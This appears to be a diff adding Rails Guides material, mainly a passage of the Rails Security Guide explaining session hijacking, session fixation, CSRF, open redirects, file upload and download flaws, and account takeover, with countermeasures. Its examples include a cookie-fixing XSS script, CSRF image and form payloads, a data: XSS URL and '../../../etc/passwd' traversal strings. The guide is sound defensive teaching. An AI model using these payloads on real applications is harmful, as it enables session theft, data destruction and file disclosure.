+`assert_recognizes` is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application. For example:
+
+```ruby
+assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')
+```
+
+You can supply a `:method` argument to specify the HTTP verb:
+
+```ruby
+assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post })
+```
+
+#### The `assert_routing` Assertion
+
+The `assert_routing` assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of `assert_generates` and `assert_recognizes`:
+
+```ruby
+assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })
+```

+Ruby on Rails Guides Guidelines
+===============================
+
+This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.
+
+After reading this guide, you will know:
+
+* About the conventions to be used in Rails documentation.
+* How to generate guides locally.
+
+--------------------------------------------------------------------------------
+
+Markdown
+-------
+
+Guides are written in [GitHub Flavored Markdown](http://github.github.com/github-flavored-markdown/). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), a [cheatsheet](http://daringfireball.net/projects/markdown/basics), and [additional documentation](http://github.github.com/github-flavored-markdown/) on the differences from traditional Markdown.
+
+Prologue
+--------
+
+Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html).
+
+Titles
+------
+
+The title of every guide uses `h1`; guide sections use `h2`; subsections `h3`; etc. However, the generated HTML output will have the heading tag starting from `<h2>`.
+
+```
+Guide Title
+===========
+
+Section
+-------
+
+### Sub Section
+```
+
+Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
+
+```
+#### Middleware Stack is an Array
+#### When are Objects Saved?
+```
+
+Use the same typography as in regular text:
+
+```
+##### The `:content_type` Option
+```
+
+API Documentation Guidelines
+----------------------------
+
+The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:)
+
+* [Wording](api_documentation_guidelines.html#wording)
+* [Example Code](api_documentation_guidelines.html#example-code)
+* [Filenames](api_documentation_guidelines.html#filenames)
+* [Fonts](api_documentation_guidelines.html#fonts)
+
+Those guidelines apply also to guides.
+
+HTML Guides
+-----------
+
+### Generation
+
+To generate all the guides, just `cd` into the `guides` directory, run `bundle install` and execute:
+
+```
+bundle exec rake guides:generate
+```
+
+or
+
+```
+bundle exec rake guides:generate:html
+```
+
+To process `my_guide.md` and nothing else use the `ONLY` environment variable:
+
+```
+touch my_guide.md
+bundle exec rake guides:generate ONLY=my_guide
+```
+
+By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice.
+
+To force processing all the guides, pass `ALL=1`.
+
+It is also recommended that you work with `WARNINGS=1`. This detects duplicate IDs and warns about broken internal links.
+
+If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (eg. `source/es`) and use the `GUIDES_LANGUAGE` environment variable:
+
+```
+bundle exec rake guides:generate GUIDES_LANGUAGE=es
+```
+
+If you want to see all the environment variables you can use to configure the generation script just run:
+
+```
+rake
+```
+
+### Validation
+
+Please validate the generated HTML with:
+
+```
+bundle exec rake guides:validate
+```
+
+Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set `WARNINGS=1` when generating guides to detect them. The warning messages suggest a solution.
+
+Kindle Guides
+-------------
+
+### Generation
+
+To generate guides for the Kindle, use the following rake task:
+
+```
+bundle exec rake guides:generate:kindle
+```

+Ruby on Rails Security Guide
+============================
+
+This manual describes common security problems in web applications and how to avoid them with Rails.
+
+After reading this guide, you will know:
+
+* All countermeasures _that are highlighted_.
+* The concept of sessions in Rails, what to put in there and popular attack methods.
+* How just visiting a site can be a security problem (with CSRF).
+* What you have to pay attention to when working with files or providing an administration interface.
+* How to manage users: Logging in and out and attack methods on all layers.
+* And the most popular injection attack methods.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
+
+In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
+
+The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
+
+The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack me [...]
+
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
+
+Sessions
+--------
+
+A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
+
+### What are Sessions?
+
+NOTE: _HTTP is a stateless protocol. Sessions make it stateful._
+
+Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
+
+A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
+
+```ruby
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+```
+
+### Session id
+
+NOTE: _The session id is a 32 byte long MD5 hash value._
+
+A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
+
+### Session Hijacking
+
+WARNING: _Stealing a user's session id lets an attacker use the web application in the victim's name._
+
+Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
+
+Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
+
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
+
+ ```ruby
+ config.force_ssl = true
+ ```
+
+* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_.
+
+* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+
+* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
+
+### Session Guidelines
+
+Here are some general guidelines on sessions.
+
+* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+
+* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+
+### Session Storage
+
+NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._
+
+Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
+
+* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_.
+
+* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+
+That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_.
+
+`config.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`, e.g.:
+
+ YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+
+Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
+
+If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.
+
+### Replay Attacks for CookieStore Sessions
+
+TIP: _Another sort of attack you have to be aware of when using `CookieStore` is the replay attack._
+
+It works like this:
+
+* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
+* The user buys something.
+* His new, lower credit will be stored in the session.
+* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
+* The user has his credit back.
+
+Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
+
+The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
+
+### Session Fixation
+
+NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
+
+
+
+This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
+
+* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injec [...]
+* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+* As the new trap session is unused, the web application will require the user to authenticate.
+* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+
+### Session Fixation – Countermeasures
+
+TIP: _One line of code will protect you from session fixation._
+
+The most effective countermeasure is to _issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+
+```ruby
+reset_session
+```
+
+If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
+
+Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course [...]
+
+### Session Expiry
+
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
+
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
+
+```ruby
+class Session < ActiveRecord::Base
+ def self.sweep(time = 1.hour)
+ if time.is_a?(String)
+ time = time.split.inject { |count, unit| count.to_i.send(unit) }
+ end
+
+ delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+ end
+end
+```
+
+The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
+
+```ruby
+delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
+ created_at < '#{2.days.ago.to_s(:db)}'"
+```
+
+Cross-Site Request Forgery (CSRF)
+---------------------------------
+
+This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
+
+
+
+In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of [...]
+
+* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+* `<img src="http://www.webapp.com/project/1/destroy">`
+* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+* Bob doesn't notice the attack — but a few days later he finds out that project number one is gone.
+
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
+
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_.
+
+### CSRF Countermeasures
+
+NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
+
+The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
+
+**Use GET if:**
+
+* The interaction is more _like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
+
+**Use POST if:**
+
+* The interaction is more _like an order_, or
+* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+* The user is _held accountable for the results_ of the interaction.
+
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier.
+
+_POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+
+```html
+<a href="http://www.harmless.com/" onclick="
+ var f = document.createElement('form');
+ f.style.display = 'none';
+ this.parentNode.appendChild(f);
+ f.method = 'POST';
+ f.action = 'http://www.example.com/account/destroy';
+ f.submit();
+ return false;">To the harmless survey</a>
+```
+
+Or the attacker places the code into the onmouseover event handler of an image:
+
+```html
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+```
+
+There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+
+```ruby
+protect_from_forgery secret: "123456789012345678901234567890..."
+```
+
+This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error.
+
+It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
+
+```ruby
+def handle_unverified_request
+ super
+ sign_out_user # Example method that will destroy the user cookies.
+end
+```
+
+The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
+
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+
+Redirection and Files
+---------------------
+
+Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
+
+### Redirection
+
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
+
+Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web applicati [...]
+
+```ruby
+def legacy
+ redirect_to(params.update(action:'main'))
+end
+```
+
+This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
+
+```
+http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
+```
+
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to an URL, check it with a whitelist or a regular expression_.
+
+#### Self-contained XSS
+
+Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
+
+`data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K`
+
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _do not allow the user to supply (parts of) the URL to be redirected to_.
+
+### File Uploads
+
+NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
+
+Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and [...]
+
+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or [...]
+
+```ruby
+def sanitize_filename(filename)
+ filename.strip.tap do |name|
+ # NOTE: File.basename doesn't work right with Windows paths on Unix
+ # get only the filename, not the whole path
+ name.sub! /\A.*(\\|\/)/, ''
+ # Finally, replace all non alphanumeric, underscore
+ # or periods with underscore
+ name.gsub! /[^\w\.\-]/, '_'
+ end
+end
+```
+
+A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+
+The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+
+### Executable Code in File Uploads
+
+WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
+
+The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads [...]
+
+_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
+
+### File Downloads
+
+NOTE: _Make sure users cannot download arbitrary files._
+
+Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
+
+```ruby
+send_file('/var/www/uploads/' + params[:filename])
+```
+
+Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
+
+```ruby
+basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename !=
+ File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, disposition: 'inline'
+```
+
+Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
+
+Intranet and Admin Security
+---------------------------
+
+Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
+
+In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
+
+**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+
+Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+
+Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
+
+**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a [...]
+
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
+
+Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
+
+For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
+
+### Additional Precautions
+
+The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
+
+* It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
+
+* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+
+* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+
+User Management
+---------------
+
+NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
+
+There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
+
+Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+
+```
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+```
+
+This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
+
+```ruby
+User.find_by_activation_code(params[:id])
+```
+
+If the parameter was nil, the resulting SQL query will be
+
+```sql
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+```
+
+And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+
+### Brute-Forcing Accounts
+
+NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
+
+A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
+
+Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
+
+However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
+
+In order to mitigate such attacks, _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+
+### Account Hijacking
+
+Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.
+
+#### Passwords
+
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require [...]
+
+#### E-Mail
+
+However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
+
+#### Other
+
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If [...]
+
+### CAPTCHAs
+
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
+
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in [...]
+
+You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+
+Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
+
+Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
+
+* position the fields off of the visible area of the page
+* make the elements very small or color them the same as the background of the page
+* leave the fields displayed, but tell humans to leave them blank
+
+The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
+
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:)
+
+* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+* Randomize the field names
+* Include more than one honeypot field of all types, including submission buttons
+
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _negative CAPTCHAs might not be good to protect login forms_.
+
+### Logging
+
+WARNING: _Tell Rails not to put passwords in the log files._
+
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters fr [...]
+
+```ruby
+config.filter_parameters << :password
+```
+
+### Good Passwords
+
+INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
+
